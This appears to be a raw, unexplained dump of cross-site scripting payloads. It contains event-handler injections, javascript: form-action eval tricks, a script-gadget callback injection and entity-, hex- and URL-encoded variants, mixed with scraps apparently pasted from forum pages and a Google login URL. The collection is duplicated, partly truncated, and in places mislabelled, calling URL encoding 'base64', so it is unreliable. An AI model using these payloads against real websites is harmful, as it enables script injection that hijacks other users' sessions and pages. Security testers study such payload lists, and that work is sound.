“>

"><link%20rel%3D%27%20import%27%20href%3D%27%3Fxss%3D"><script%20src%3D%2F%2Fajax.googleapis.com%2Fajax%2Fservices%2Ffeed%2Ffind%3Fv%3D1.0%2526callback%3Dalert%2526context%3D1337><%2Fscript>%27>

https://accounts.google.com/ServiceLogin?service=ah&passive=true&continue=https://appengine.google.com/_ah/conflogin?continue=https://bughunter.withgoogle.com/settings&ltmpl#identifier

<form oninput="alert(1)"><input type="range"

 ${echo base64_decode("PGltZy9zcmM9eCBvbiBlcnJvcj1wcm9tcHQoMCk+")}


 Submitted by "onmouseover="confirm(document.domain);"" &lt;/from&gt;&gt;'&gt;"&gt;&lt;form id="myform" value="" action=javascript&amp;Tab;:eval(document.getElementById('myform').elements[0].value)&gt;&lt;textarea&gt;alert(1)&lt;/textarea&gt;&lt;input type="submit" value="sree"&gt;&lt;/form&gt; &lt;/from&gt;&gt;'&gt;"&gt;&lt;form id="myform" value=""+{valueOf:location,length:1,__proto__:[],0:"javascript &colon;alert (1)"}"action=javascript&amp;Tab;:eval(document.getElementById('myform').elements[0].value)&gt;&lt;textarea&gt;alert(1)&lt;/textarea&gt;&lt;input type="submit" value="sree"&gt;&lt;/form&gt; t3q35q &lt;script&gt;alert(123)&lt;/script&gt; &lt;script&gt;alert("AHSANKHAN");&lt;/script&gt; javascript&colon;alert("hellox worldss") &lt;img src="x-javascript&colon;alert('XSSBYAHSANKHAN');"&gt; &lt;img src=javascript&colon;alert(&amp;quot;XSS&amp;quot;)&gt; &lt;"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;"&gt;'&gt;&lt;SCRIPT&gt;alert(String.fromCharCode(88,83,83))&lt;/SCRIPT&gt; &lt;META HTTP-EQUIV="refresh" CONTENT="0;url=data&colon;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L less than a minute ago

"onmouseover="confirm(document.domain);"" </from>>'>"><form id="myform" value="" action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="sree"></form> </from>>'>"><form id="myform" value=""+{valueOf:location,length:1,proto:[],0:"javascript &colon;alert (1)"}"action=javascript&Tab;:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="sree"></form> t3q35q <script>alert("XSS-By-ANEESKHAN")</script> <script>alert("hellox worldss");</script> javascript&colon;alert("hellox worldss") <img src="x-javascript&colon;alert('ANEESKHAN');"> <img src=javascript&colon;alert(&quot;ANEESKHAN&quot;)> <"';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> <META HTTP-EQUIV="refresh" CONTENT="0;url=data&colon;text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L



“><img src=x onerror=prompt(1)>

<p><a title="&quot;><img src=x onerror=prompt(1)>" href="/t5/forums/postpage/board-id/spanish/choose-node/true/interaction-style/&quot;&gt;&lt;img src=x onerror=prompt(1)&gt;" target="_self">"&gt;&lt;img src=x onerror=p"&gt;&lt;img src=x onerror=prompt(1)&gt;rompt(1)&gt;</a></p>
</span></p></a>"><img src=x onerror=prompt(1)>"><img src=x onerror=prompt(1)>"">><>?>"><img src=x onerror=prompt(1)></>
"><img src=x onerror=prompt(1)>


</texarea></>">"">">">v"><img src=x onerror=prompt(1)>">"><img src=x onerror=prompt(1)><"
"></span</p></a>">"><img src=x onerror=prompt(1)>"<


</span></p></a>"><img src=x onerror=prompt(1337)>"><img src=x onerror=prompt(1337)>"">><>?>"><img src=x onerror=prompt(1337)></>


<img/onerror=alert(1)+/src/<

%00onfooter=confirm(1) or %00on%00reload=console.log(1)

\ x6a \ x61 \ x76 \ x61 \ x73 \ x63 \ x72 \ x69 \ x70 \ mm \ x3aalert (1)

<iframe src="x-javascript&colon;alert(1):"></iframe>



///ascii encoded///
<a href=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>Click Me!</a>

///Hex encoded///
<a href=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>Click Me!</a>

///URL HEX///
//base64 encode of <script>alert('xss')</script>//
%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E

//full hex encode of <script>alert('xss')</script>//
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%27%78%73%73%27%29%3c%2f%73%63%72%69%70%74%3e